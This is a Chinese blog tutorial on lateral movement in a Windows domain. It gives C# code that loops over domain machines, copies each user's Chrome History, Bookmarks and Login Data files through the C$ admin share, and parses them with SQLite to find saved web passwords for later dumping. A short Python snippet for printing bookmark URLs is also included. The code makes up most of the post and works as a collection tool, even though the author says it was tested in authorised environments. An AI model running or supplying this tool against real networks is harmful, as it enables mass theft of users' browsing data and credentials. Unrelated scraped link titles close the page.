• 域内批量解析chrome浏览器


    上文说了内网批量获取域内文件,在一些场景里面我们需要获取某台机器权限,但是可能之对外开放了8022等端口无法通过常规手段getshell,可能在某台it个人pc存放了密码本。然而还有一些情况就是我们只需要获取某台web的后台权限即可,在一些内网环境上千台的机器,我们需要一台一台去翻找浏览器密码,就相当麻烦,于是我们可以批量解析域内每台机器,以及对应机器上的用户的chrome浏览器的书签和历史记录以及是否保存了密码为文本,然后再针对的上那台机器去dump密码,可以节约很多的时间成本。
    

    0x01 获取chrome相关文件

    chrome浏览器的一些保存文件在

    C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default
    
    1. Bookmarks 书签
    2. History 历史记录
    3. Login Data 保存密码相关记录

    我们按照之前的获取域内文件同理的方法,这里就不过多讲解了。创建machine.txt,逐行读取机器。

    获取当前路径创建TargetChromeFiles目录

    1. string currentpath = Directory.GetCurrentDirectory();
    2. string DesktopFiles = currentpath + "\\TargetChromeFiles";

    遍历users目录如果存在```C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default``如果存在创建机器名文件夹以及对应的用户名文件夹

    1. string userpath = @"\\" + machine + @"\c$\users";
    2. var user_list = Directory.EnumerateDirectories(userpath);
    3. foreach (string user in user_list)
    4. {
    5.  string ChromePath = user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default";
    6.  string username = substring(user);
    7.  if (Directory.Exists(ChromePath)){
    8.   string MachineFolder = DesktopFiles + "\\" + machine;
    9.   Directory.CreateDirectory(MachineFolder);
    10.   string UserFolder = MachineFolder + "\\" + username;
    11.   Directory.CreateDirectory(UserFolder);
    12.  }
    13. }

    获取对应机器以及用户的历史记录文件

    1. string historyPath = ChromePath + "\\History";
    2. if (File.Exists(historyPath))
    3. {
    4.     string historyfile = UserFolder + "\\History";
    5.     StreamWriter history_file = File.CreateText(historyfile);
    6.     history_file.Close();
    7.     bool isrewrite = true;
    8.     File.Copy(historyPath, historyfile, isrewrite);
    9. }

    如果存在就继续创建History文件,同理书签和密码保存位置

    1. string loginPath = ChromePath + "\\Login Data";
    2. if (File.Exists(loginPath))
    3. {
    4.     string loginfile = UserFolder + "\\Login Data";
    5.     StreamWriter login_file = File.CreateText(loginfile);
    6.     login_file.Close();
    7.     bool isrewrite = true;
    8.     File.Copy(loginPath, loginfile, isrewrite);
    9. }
    10. string BookPath = ChromePath + "\\Bookmarks";
    11. if (File.Exists(BookPath))
    12. {
    13.     string bookfile = UserFolder + "\\Bookmarks";
    14.     StreamWriter book_file = File.CreateText(bookfile);
    15.     book_file.Close();
    16.     bool isrewrite = true;
    17.     File.Copy(BookPath, bookfile, isrewrite);
    18. }

    dump效果

    Login Datasqlite保存形式

    所以我们需要批量解析本地TargetChromeFiles目录内的所有文件为文本形式。把结果生在在本地的output_TargetChromeInfos目录。

    首先创建该目录

    1. string currentpath = Directory.GetCurrentDirectory();
    2. string getchromeinfopath = currentpath + "\\output_TargetChromeInfos";
    3. Directory.CreateDirectory(getchromeinfopath);

    遍历TargetChromeFiles目录所有机器,创建对应的机器目录

    1. string ChromeFilesPath = currentpath + "\\TargetChromeFiles";
    2. if (Directory.Exists(ChromeFilesPath))
    3. {
    4.     Console.ForegroundColor = ConsoleColor.Yellow;
    5.     Console.WriteLine("[*]开始解析chrome浏览器信息");
    6.     Console.ForegroundColor = ConsoleColor.White;
    7.     var machine_list = Directory.EnumerateDirectories(ChromeFilesPath);
    8.     foreach (string machine in machine_list)
    9.     {
    10.         Console.ForegroundColor = ConsoleColor.Yellow;
    11.         string out_machine_info = substring(machine);   //获取结尾地址
    12.         Console.WriteLine("[*]" + out_machine_info);
    13.         Console.ForegroundColor = ConsoleColor.White;
    14.         //创建本地机器文件夹
    15.         string getmachinepath = getchromeinfopath + "\\" + out_machine_info;
    16.         Directory.CreateDirectory(getmachinepath);

    继续创建用户目录

    1.  var user_list = Directory.EnumerateDirectories(machine);
    2.  foreach (string user in user_list)
    3.  {
    4.      Console.ForegroundColor = ConsoleColor.Yellow;
    5.      string out_user_info = substring(user);
    6.      Console.WriteLine("   " + out_user_info);
    7.      Console.ForegroundColor = ConsoleColor.White;
    8.      string getuserpath = getmachinepath + "\\" + out_user_info;
    9.      Directory.CreateDirectory(getuserpath);

    因为书签是json格式,这里我没有做任何处理。直接把内容写进out目录的Bookmarks文件了。

    1. string book_path = user + "\\Bookmarks";
    2. if (File.Exists(book_path))
    3. {
    4.     string getbookpath = getuserpath + "\\Bookmarks";
    5.     StreamWriter bookmark = File.CreateText(getbookpath);
    6.     bookmark.Close();
    7.     File.Copy(book_path, getbookpath, true);
    8.     Console.ForegroundColor = ConsoleColor.Green;
    9.     Console.WriteLine("      [*]bookmarks parse success");
    10.     Console.ForegroundColor = ConsoleColor.White;
    11. }
    12. else
    13. {
    14.     Console.ForegroundColor = ConsoleColor.Red;
    15.     Console.WriteLine("      [-]bookmarks not found");
    16.     Console.ForegroundColor = ConsoleColor.White;
    17. }

    如果想要好看点可以如果代码来美化一下即可。

    1. from os import name
    2. import re
    3. = open('C:/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Bookmarks',encoding='UTF-8')
    4. while True:
    5.     line = f.readline()
    6.     if not line:
    7.         break
    8.     else:
    9.         try:
    10.             line.decode('utf8')
    11.         except:
    12.             res = (str(line))
    13.             url_re = re.compile('"url": "(.*?)"',re.I|re.S)
    14.             name_re = re.compile('"name": "(.*?)"',re.I|re.S)
    15.             url_result = url_re.findall(res)
    16.             name_result = name_re.findall(res)
    17.             for url in url_result: 
    18.                 print(url)

    看到历史记录文件

     

     

    我们获取想要的即可

    1. string History_path = user + "\\History";
    2. if (File.Exists(History_path))
    3. {
    4.     string gethistorypath = getuserpath + "\\History.txt";
    5.     StreamWriter history = File.CreateText(gethistorypath);
    6.     history.Close();
    7.     SQLiteConnection connect = new SQLiteConnection(@"Data Source=" + History_path);
    8.     connect.Open();
    9.     SQLiteCommand fcmd = connect.CreateCommand();
    10.     fcmd.CommandText = @"select * from urls";
    11.     fcmd.CommandType = CommandType.Text;
    12.     SQLiteDataReader r = fcmd.ExecuteReader();
    13.     string HistoryHostof = "host:" + out_machine_info + "\r\n";
    14.     string HistoryMemberof = "user:" + out_user_info + "\r\n\r\n";
    15.     File.AppendAllText(gethistorypath, HistoryHostof);
    16.     File.AppendAllText(gethistorypath, HistoryMemberof);
    17.     while (r.Read())
    18.     {
    19.         string title = (string)r["title"];
    20.         string out_title = "title:" + title + "\r\n";
    21.         string url = (string)r["url"];
    22.         string out_url ="url:" + url + "\r\n\r\n";
    23.         File.AppendAllText(gethistorypath, out_title);
    24.         File.AppendAllText( gethistorypath, out_url);
    25.     }
    26.     connect.Close();
    27.     Console.ForegroundColor = ConsoleColor.Green;
    28.     Console.WriteLine("      [*]history parse success");
    29.     Console.ForegroundColor = ConsoleColor.White;
    30. }
    31. else
    32. {
    33.     Console.ForegroundColor = ConsoleColor.Red;
    34.     Console.WriteLine("      [-]history not found");
    35.     Console.ForegroundColor = ConsoleColor.White;
    36. }

    关于csharp操作sqlite这里不做过多介绍,网上也有很多相关代码和教程。

    最近就是获取密码保存的文件记录

    1. string LoginData_path = user + "\\Login Data";
    2. if (File.Exists(LoginData_path))
    3. {
    4.     string getloginypath = getuserpath + "\\Login Data.txt";
    5.     StreamWriter login = File.CreateText(getloginypath);
    6.     login.Close();
    7.     SQLiteConnection connect = new SQLiteConnection(@"Data Source=" + LoginData_path);
    8.     connect.Open();
    9.     SQLiteCommand fcmd = connect.CreateCommand();
    10.     fcmd.CommandText = @"select * from logins";
    11.     fcmd.CommandType = CommandType.Text;
    12.     SQLiteDataReader r = fcmd.ExecuteReader();
    13.     string HistoryHostof = "host:" + out_machine_info + "\r\n";
    14.     string HistoryMemberof = "user:" + out_user_info + "\r\n\r\n";
    15.     File.AppendAllText(getloginypath, HistoryHostof);
    16.     File.AppendAllText(getloginypath, HistoryMemberof);
    17.     List<String> Field = new List<string>();
    18.     while (r.Read())
    19.     {
    20.         string origin_url = (string)r["origin_url"];
    21.         string out_origin_url = "origin_url:" + origin_url + "\r\n";
    22.         string acition_url = (string)r["action_url"];
    23.         string out_acition_url = "acition_url:" + acition_url + "\r\n";
    24.         Int64 blacklisted_by_user = (Int64)r["blacklisted_by_user"];
    25.         string out_blacklisted_by_user = "blacklisted_by_user:" + blacklisted_by_user + "\r\n";
    26.         File.AppendAllText(getloginypath, out_origin_url);
    27.         File.AppendAllText(getloginypath, out_acition_url);
    28.         File.AppendAllText(getloginypath, out_blacklisted_by_user);
    29.     }
    30.     connect.Close();
    31.     Console.ForegroundColor = ConsoleColor.Green;
    32.     Console.WriteLine("      [*]login data parse success");
    33.     Console.ForegroundColor = ConsoleColor.White;
    34. }
    35. else
    36. {
    37.     Console.ForegroundColor = ConsoleColor.Red;
    38.     Console.WriteLine("      [-]login data not found");
    39.     Console.ForegroundColor = ConsoleColor.White;
    40. }

    当我们获取到blacklisted_by_user为1说明目标开启了不保存该网站密码,反之则保存。

    这里测试环境为本机环境,经过大量授权实战环境测试,目前没有发现问题。

    最后效果。

     

  • 相关阅读:
    短视频运营小技巧,互动引流很重要,内容质量也不能忘
    软件测试怎么测别的类的main方法
    高斯分解LU矩阵之MATLAB实现
    21.PWM应用编程
    SpringBoot中如何实现业务校验,这种方式才叫优雅!
    Linux:vim
    【机器学习】机器的登神长阶——AIGC
    上午卷-5.系统开发与运营-软件设计师
    JS 封装节流(后期优化)
    第十四届蓝桥杯(Web应用开发)模拟赛1期-大学组
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/127641239